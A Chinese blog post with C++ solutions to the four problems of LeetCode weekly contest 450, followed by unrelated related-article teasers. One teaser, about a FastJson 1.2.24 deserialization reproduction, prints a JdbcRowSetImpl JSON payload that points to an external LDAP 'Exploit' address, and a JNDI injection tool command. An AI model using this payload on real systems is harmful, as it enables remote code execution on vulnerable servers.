力扣第450场周赛

Q1. 数位和等于下标的最小下标

给你一个整数数组 nums 。

返回满足 nums[i] 的数位和(每一位数字相加求和)等于 i 的 最小 下标 i 。

如果不存在满足要求的下标,返回 -1 。

示例 1:

输入:nums = [1,3,2]

输出:2

解释:

nums[2] = 2,其数位和等于 2 ,与其下标 i = 2 相等。因此,输出为 2 。
示例 2:

输入:nums = [1,10,11]

输出:1

解释:

nums[1] = 10,其数位和等于 1 + 0 = 1,与其下标 i = 1 相等。
nums[2] = 11,其数位和等于是 1 + 1 = 2,与其下标 i = 2 相等。
由于下标 1 是满足要求的最小下标,输出为 1 。
示例 3:

输入:nums = [1,2,3]

输出:-1

解释:

由于不存在满足要求的下标,输出为 -1 。

提示:

1 <= nums.length <= 100
0 <= nums[i] <= 1000

class Solution {
public:bool solve(int a,int b){int cnt=0;while(b>0){cnt+=b%10;b/=10;}return a==cnt;}int smallestIndex(vector<int>& nums) {for(int i=0;i<nums.size();i++){if(solve(i,nums[i])) return i;}return -1;}
};

Q2.  数位和排序需要的最小交换次数

给你一个由 互不相同 的正整数组成的数组 nums,需要根据每个数字的数位和(即每一位数字相加求和)按 升序 对数组进行排序。如果两个数字的数位和相等,则较小的数字排在前面。

返回将 nums 排列为上述排序顺序所需的 最小 交换次数。

一次 交换 定义为交换数组中两个不同位置的值。

示例 1:

输入: nums = [37,100]

输出: 1

解释:

计算每个整数的数位和:[3 + 7 = 10, 1 + 0 + 0 = 1] → [10, 1]
根据数位和排序:[100, 37]。将 37 与 100 交换,得到排序后的数组。
因此,将 nums 排列为排序顺序所需的最小交换次数为 1。
示例 2:

输入: nums = [22,14,33,7]

输出: 0

解释:

计算每个整数的数位和:[2 + 2 = 4, 1 + 4 = 5, 3 + 3 = 6, 7 = 7] → [4, 5, 6, 7]
根据数位和排序:[22, 14, 33, 7]。数组已经是排序好的。
因此,将 nums 排列为排序顺序所需的最小交换次数为 0。
示例 3:

输入: nums = [18,43,34,16]

输出: 2

解释:

计算每个整数的数位和:[1 + 8 = 9, 4 + 3 = 7, 3 + 4 = 7, 1 + 6 = 7] → [9, 7, 7, 7]
根据数位和排序:[16, 34, 43, 18]。将 18 与 16 交换,再将 43 与 34 交换,得到排序后的数组。
因此,将 nums 排列为排序顺序所需的最小交换次数为 2。

提示:

1 <= nums.length <= 105
1 <= nums[i] <= 109
nums 由 互不相同 的正整数组成。

using pii=pair<int,int>;
class Solution {
public:int solve(int num){int ret=0;while(num>0){ret+=num%10;num/=10;}return ret;}int minSwaps(vector<int>& nums) {vector<pii> a;for(auto& x:nums){a.emplace_back(x,solve(x));}sort(a.begin(),a.end(),[&](auto x, auto y){if(x.second!=y.second) return x.second<y.second;else return x.first<y.first;});int n=nums.size();unordered_map<int,int> idx(n);for(int i=0;i<a.size();i++) idx[a[i].first]=i;vector<int> v(n);for(int i=0;i<n;i++){v[i]=idx[nums[i]];}vector<bool> vis(n);int c=0;for(int i=0;i<nums.size();i++){if(!vis[i]){c++;int j=i;while(!vis[j]){vis[j]=true;j=v[j];}}}return n-c;}
};// 1 2 3 4
// 4 3 2 1
// 1 3 2 4
// 1 2 3 4

Q3.  网格传送门旅游

给你一个大小为 m x n 的二维字符网格 matrix,用字符串数组表示,其中 matrix[i][j] 表示第 i 行和第 j 列处的单元格。每个单元格可以是以下几种字符之一:

'.' 表示一个空单元格。
'#' 表示一个障碍物。
一个大写字母('A' 到 'Z')表示一个传送门。
你从左上角单元格 (0, 0) 出发,目标是到达右下角单元格 (m - 1, n - 1)。你可以从当前位置移动到相邻的单元格(上、下、左、右),移动后的单元格必须在网格边界内且不是障碍物。

如果你踏入一个包含传送门字母的单元格,并且你之前没有使用过该传送门字母,你可以立即传送到网格中另一个具有相同字母的单元格。这次传送不计入移动次数,但每个字母对应的传送门在旅程中 最多 只能使用一次。

返回到达右下角单元格所需的 最少 移动次数。如果无法到达目的地,则返回 -1。

using pii=pair<int,int>;
using ll=long long;
#define mx LLONG_MAX
struct Node{int x,y;ll d;bool operator<(const Node& o) const {return d>o.d;}
};
const int dx[4]={-1,1,0,0};
const int dy[4]={0,0,-1,1};
class Solution{
public:int minMoves(vector<string>& matrix) {int m=matrix.size(); int n=matrix[0].size();if(matrix[0][0]=='#'||matrix[m-1][n-1]=='#') return -1;vector<vector<pii>> o_p(26);for(int i=0;i<m;i++){for(int j=0;j<n;j++){if(matrix[i][j]>='A'&&matrix[i][j]<='Z'){o_p[matrix[i][j]-'A'].push_back({i,j});}}}vector<vector<ll>> d(m,vector<ll>(n,mx));d[0][0]=0;vector<bool> vis(26,false);priority_queue<Node> pq;pq.push({0,0,0});while(!pq.empty()){Node cur=pq.top();pq.pop();int x=cur.x,y=cur.y;ll c_d=cur.d;if(c_d>d[x][y]) continue;if(x==m-1&&y==n-1) return c_d;char c=matrix[x][y];if(c>='A'&&c<='Z'){int idx=c-'A';if(!vis[idx]){for(auto& p: o_p[idx]){int nx=p.first,ny=p.second;if(d[nx][ny]>c_d){d[nx][ny]=c_d;pq.push({nx,ny,c_d});}}vis[idx]=true;}}for(int k=0;k<4;k++){int nx=x+dx[k],ny=y+dy[k];if(nx<0||nx>=m||ny<0||ny>=n) continue;if(matrix[nx][ny]=='#') continue;if(d[nx][ny]>c_d+1){d[nx][ny]=c_d+1;pq.push({nx,ny,c_d+1});}}}return -1;}
};

Q4.  包含给定路径的最小带权子树 II

 给你一个 无向带权 树,共有 n 个节点,编号从 0 到 n - 1。这棵树由一个二维整数数组 edges 表示,长度为 n - 1,其中 edges[i] = [ui, vi, wi] 表示存在一条连接节点 ui 和 vi 的边,权重为 wi。

此外,给你一个二维整数数组 queries,其中 queries[j] = [src1j, src2j, destj]。

返回一个长度等于 queries.length 的数组 answer,其中 answer[j] 表示一个子树的 最小总权重 ,使用该子树的边可以从 src1j 和 src2j 到达 destj 。

这里的 子树 是指原树中任意节点和边组成的连通子集形成的一棵有效树。

using pii = pair<int, int>;
class LCA_solve {
public:vector<int> depth, to_root_minD;vector<vector<int>> pa;LCA_solve(vector<vector<int>>& edges) {int n = edges.size() + 1;int m = bit_width(edges.size() + 1); vector<vector<pii>> g(n);for (auto& e : edges) {int x = e[0], y = e[1], z = e[2];g[x].emplace_back(y, z);g[y].emplace_back(x, z);}depth.resize(n);to_root_minD.resize(n);pa.resize(n, vector<int>(m, -1));auto dfs = [&](this auto&& dfs, int x, int fa) -> void {pa[x][0] = fa;for (auto& [y, w] : g[x]) {if (y != fa) {depth[y] = depth[x] + 1;to_root_minD[y] = to_root_minD[x] + w;dfs(y, x);}}};dfs(0, -1);for (int i = 0; i < m - 1; i++) {for (int x = 0; x < n; x++) {if (int p = pa[x][i]; p != -1) {pa[x][i + 1] = pa[p][i];}}}}int get_kth_ancestor(int node, int k) {for (; k; k &= k - 1) {node = pa[node][countr_zero((unsigned)k)];}return node;}int get_lca(int x, int y) {if (depth[x] > depth[y]) {swap(x, y);}y = get_kth_ancestor(y, depth[y] - depth[x]);if (y == x) {return x;}for (int i = pa[x].size() - 1; i >= 0; i--) {int px = pa[x][i], py = pa[y][i];if (px != py) {x = px;y = py;}}return pa[x][0];}int twoPoits_dis(int x, int y) {return to_root_minD[x] + to_root_minD[y] - to_root_minD[get_lca(x, y)] * 2;}
};
class Solution {
public:vector<int> minimumWeight(vector<vector<int>>& edges, vector<vector<int>>& queries) {LCA_solve g(edges);int n = queries.size();vector<int> ans(n);for (int i = 0; i < n; i++) {vector<int> q = queries[i];int x = q[0], y = q[1], z = q[2];ans[i] = (g.twoPoits_dis(x, y) + g.twoPoits_dis(y, z) + g.twoPoits_dis(x, z)) / 2;}return ans;}
};

总结:难度还好吧,看榜单上AK的人挺多的....

1. 简单模拟

2. 找规律

3. Dijkstra+优先队列优化

4. 找最近公共祖先

感谢大家的点赞和关注,你们的支持是我创作的动力!(其他细节,有时间再补充...)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/bicheng/82084.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【氮化镓】偏置对GaN HEMT 单粒子效应的影响

2025年5月19日,西安电子科技大学的Ling Lv等人在《IEEE Transactions on Electron Devices》期刊发表了题为《Single-Event Effects of AlGaN/GaN HEMTs Under Different Biases》的文章,基于实验和TCAD仿真模拟方法,研究了单粒子效应对关断状态、半开启状态和开启状态下AlG…

湖北理元理律师事务所债务优化方案:让还款与生活平衡成为可能

在现代社会&#xff0c;债务问题已经成为影响许多家庭生活质量的重要因素。如何在不影响基本生活的前提下合理规划还款&#xff0c;是众多债务人面临的实际难题。湖北理元理律师事务所推出的债务优化服务&#xff0c;正是针对这一需求而设计的专业解决方案。 该所的债务优化方…

FastJson1.2.24反序列化原理

{"type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true} 测试执行 DNS解析记录 利用JNDI工具进行注入 复现流程 java -jar JNDI-Injection-Explo…

基于Android的点餐系统_springboot+vue

开发语言&#xff1a;Java框架&#xff1a;springboot AndroidJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7数据库工具&#xff1a;Navicat12开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;Maven3.3.9 系统展示 APP登录…

Maven 项目介绍

一、Maven 概述​ Maven 是一个基于 Java 的项目管理和构建自动化工具&#xff0c;由 Apache 软件基金会开发。它采用 “约定优于配置”&#xff08;Convention Over Configuration&#xff09;的原则&#xff0c;通过标准化的项目结构和配置&#xff0c;极大地简化了项目的构建…

人工智能+:职业技能培训的元命题与能力重构

当“人工智能”成为各行各业的热门命题时&#xff0c;我们似乎跳过了一个更根本的思考&#xff1a;人类究竟需要怎样的AI能力&#xff1f;这个问题不解决&#xff0c;任何技术赋能都可能沦为无本之木。真正的挑战不在于如何应用AI&#xff0c;而在于如何定义人与AI的能力边界—…

相同,对称,平衡,右视图(二叉树)

本篇基于b站灵茶山艾府。 100. 相同的树 给你两棵二叉树的根节点 p 和 q &#xff0c;编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同&#xff0c;并且节点具有相同的值&#xff0c;则认为它们是相同的。 示例 1&#xff1a; 输入&#xff1a;p [1,2,3], q…

MCU开发学习记录19* - CAN学习与实践(HAL库) - 定时传输、触发传输和请求传输(轮询与中断实现) -STM32CubeMX

名词解释&#xff1a; CAN&#xff1a;Controller Area Network ISO&#xff1a;​International Organization for Standardization ​OSI&#xff1a;​Open Systems Interconnection SOF&#xff1a;​Start Of Frame EOF&#xff1a;​End Of Frame​​ 统一文章结构&…

LEED认证是什么?LEED认证难吗?LEED认证需要准备的资料

LEED&#xff08;Leadership in Energy and Environmental Design&#xff0c;能源与环境设计先锋&#xff09;是由美国绿色建筑委员会&#xff08;USGBC&#xff09;开发的一套全球广泛认可的绿色建筑认证体系&#xff0c;用于评估建筑在设计、施工、运营和维护中的可持续性表…

【ffmpeg】ffprobe基本用法

ffprobe 是 FFmpeg 工具集中的一个强大命令行工具&#xff0c;主要用于分析多媒体文件&#xff08;如视频、音频等&#xff09;的格式和内容信息。它可以提取文件的元数据、编解码器信息、流详情、帧信息等&#xff0c;而无需对文件进行转码或修改。 基本用法 ffprobe [选项] …

暗黑科技感风格智慧工地监管系统

智慧工地监管系统作为这场变革中的关键力量&#xff0c;正逐渐改变着传统工地的管理模式。今天&#xff0c;就带大家一同领略一款用Axure精心打造的暗黑科技感风格智慧工地监管系统原型&#xff0c;感受科技与建筑碰撞出的奇妙火花。 这款智慧工地监管系统原型采用了极具魅力的…

【软件安装】Windows操作系统中安装mongodb数据库和mongo-shell工具

这篇文章&#xff0c;主要介绍Windows操作系统中如何安装mongodb数据库和mongo-shell工具。 目录 一、安装mongodb数据库 1.1、下载mongodb安装包 1.2、添加配置文件 1.3、编写启动脚本&#xff08;可选&#xff09; 1.4、启动服务 二、安装mongo-shell工具 2.1、下载mo…

CSS:margin的塌陷与合并问题

文章目录 一、margin塌陷问题二、margin合并问题 一、margin塌陷问题 二、margin合并问题

PostgreSQL 数据库备份与恢复

1 逻辑备份(单库) postgres#pg_dump --help 使用方法: pg_dump [选项]... [数据库名字] 一般选项: -f, --fileFILENAME 输出文件或目录名 -F, --formatc|d|t|p 输出文件格式 (c 自定义压缩格式输出, d 目录, tar,p 备份为文本明…

使用 LibreOffice 实现各种文档格式转换(支持任何开发语言调用 和 Linux + Windows 环境)[全网首发,保姆级教程,建议收藏]

以下能帮助你可以使用任何开发语言&#xff0c;在任何平台都能使用 LibreOffice 实现 Word、Excel、PPT 等文档的自动转换&#xff0c;目前展示在 ASP.NET Core 中为 PDF的实战案例&#xff0c;其他的文档格式转换逻辑同理。 &#x1f4e6; 1. 安装 LibreOffice &#x1f427;…

AWS stop/start 使实例存储lost + 注意点

先看一下官方的说明: EC2有一个特性,当执行stop/start操作(注意,这个并不是重启/reboot,而是先停止/stop,再启动/start)时,该EC2会迁移到其它的底层硬件上。 对于实例存储来说,由于实例存储是由其所在的底层硬件来提供的,此时相当于分配到了一块全新的空的磁盘。 但是从…

跨域问题详解

目录 一、什么是跨域问题&#xff1f; 二、跨域问题出现的原因 三、跨域的解决方案 四、结语 在 Web 开发的世界里&#xff0c;当我们尝试通过 AJAX 等技术获取不同源的资源时&#xff0c;常常会遇到 “跨域问题”。这不仅是前端开发者频繁遭遇的技术障碍&#xff0c;也是保…

VSCode 插件 GitLens 破解方法

文章目录 1. 安装指定版本2. 修改插件文件3. 重启 VSCode 1. 安装指定版本 在 VSCode 中打开扩展&#xff08;Ctrl Shift X&#xff09;&#xff0c;搜索 GitLens&#xff0c;右键点击 安装特定版本&#xff0c;在弹出的窗口中选择 17.0.2&#xff0c;然后等待安装完成。 2…

JavaScript的三大核心组成:ECMAScript、DOM与BOM

JavaScript的三大核心组成&#xff1a;ECMAScript、DOM与BOM 在前端开发领域&#xff0c;JavaScript是构建动态网页和交互式应用的核心语言。然而&#xff0c;许多人对JavaScript的组成缺乏清晰的认识。实际上&#xff0c;JavaScript并非单一的语言规范&#xff0c;而是由三个…

JC/T 2490-2019 石灰基单层装饰砂浆检测

石灰基单层装饰砂浆是指由石灰等无机胶凝材料、级配砂、外加剂或无机颜料制成的具有装饰功能的干粉饰面材料。 JC/T 2490-2019石灰基单层装饰砂浆检测项目&#xff1a; 测试项目 测试方法 外观 JC/T 2490 干密度 JC/T 2490 凝结时间 JGJ/T 70 抗折强度 GB/T 17671 抗…